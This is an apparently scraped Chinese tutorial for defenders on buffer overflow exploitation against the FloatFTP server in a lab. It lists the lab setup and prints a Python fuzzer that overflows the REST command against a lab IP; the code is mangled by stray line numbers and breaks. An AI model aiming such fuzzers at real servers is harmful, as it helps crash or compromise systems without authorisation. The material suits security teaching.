理解缓冲区溢出漏洞的利用
- 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
理解缓冲区溢出漏洞的利用
在我第一次不得不处理缓冲区溢出漏洞时,我真是一窍不通啊!虽然我可以建立网络和配置防火墙、代理服务器,不费吹灰之力的入侵检测系统,但是对于利用代码来说,我还是第一次接触到。然而,正如处理任何复杂或是困难的概念一样,最好的办法就是把它分解成我们了解的多个部分。
在研究和学习教程后,一些概念和工具开始变得不那么令人困惑了,并且逐渐能够明白一些细节了。然后,我开始在实验室现有已掌握可重建的应用程序中,寻找简单的缓存漏洞。只有在不断地实验,各种概念会一个个出现————整个进程,无论是独立的部分还是整体————都会一点点呈现出来。
本教程将会为防御者描述一些基本概念,包括一个攻击者经历漏洞开发过程,需要的工作量和攻击者将要面对的编写恶意代码攻击特定漏洞的风险。
如今的攻击者既有决心也有技术,并且知道对于负责计算机和网络的人来说什么实际操作是最关键的,防御者对敌人的动机和技术了解的越多,他就越容易制定有效的防御措施。
我要经历几个漏洞挖掘的阶段的才能找到一个有效漏洞,首先,我们会fuzz我们的目标应用程序,通过一个有趣的方式使它崩溃,通过Immunity debugger来监控崩溃的过程,在Windows系统的内存中找到最易受攻击的溢出的shellcode。随后,我们将要创造一个漏洞来传递shellcode,从而攻击远程系统。
需要的软件/设置
∙攻击系统:Backtrack Linux(我用的R3)
∙开发/受害系统:Windows xp sp3英文版
∙Immunity debugger:安装在Windows xp系统上
∙FloatFTP:我们要利用的应用程序
让我们正是开始吧!
Fuzzing
“Fuzzing”是发送无效或畸形的、过多的和随机数据到计算机程序试图使系统崩溃或出现意想不到现象的测试手段。Fuzzing用于测试系统和程序的安全。
双击float FTP来执行开始:
通过运行cmd提示符来运行和监听21端口和键入:
netstat -an | find
"21"
启动Immunity debugger,单击“file”,再单击“attach”,选择FTP服务器过程,单击“attach”。
一旦应用程序在调试器上加载时,调试器会处于暂定状态。按F9键或是
Immunity debugger工具栏上的播放符号,让应用程序运行。这个目标应用程序将会被调试器监控。
现在我们将开始配置FTP fuzzer,首先,Fuzz应用程序来使系统崩溃,然后使用调试器来采集和分析崩溃数据。
下面的代码是一个用python脚本语言编写的简单的FTP fuzzer,当执行时,fuzzer会发送标准的FTP命令“REST”,并且附加越来越多的“A”到每条指令。
0 1 #!/usr/bin/py
thon
0 2
0 3 import so
cket
0 4
0 5 # Create an array of buffers, from 20 to 2000, with increments of
20.
0 6
0 7 buffer=[
"A"]
0 8
0 9 counte
r=20
1 0
1 1 while len(buffer)
<=30:
1
2
1 3 buffer.append("A"*coun
ter)
1 4
1 5 counter=counter
+100
1 6
1 7 # Define the FTP commands to be
fuzzed
1
8
1 9 commands=["RE
ST"]
2 0
2 1 # Run the fuzzing
loop
2 2
2 3 for command in comma
nds:
2 4
2 5 for string in buf
fer:
2 6
2 7 print"Fuzzing"+command +" with
length:"+str(len(string))
2
8
2 9 s=socket.socket(socket.AF_INET,
socket.SOCK_STREAM)
3 0
3 1 connect=s.connect(('10.10.10.32',21)) # Target
IP address
3
2
3 3 s.recv(1
024)
3 4
3 5 s.send('USER ftprn') # login
user
3 6
3 7 s.recv(1
024)
3 8
3 9 s.send('PASS ftprn') # login
password
4 0
4 1 s.recv(1
024)
4 2
4 3 s.send(command +' '+string +'rn') #
buffer
4
4
4 5 s.recv(1
024)
4 6
4 7 s.send('QUIT
rn')
4 8
4 9 s.clo
se()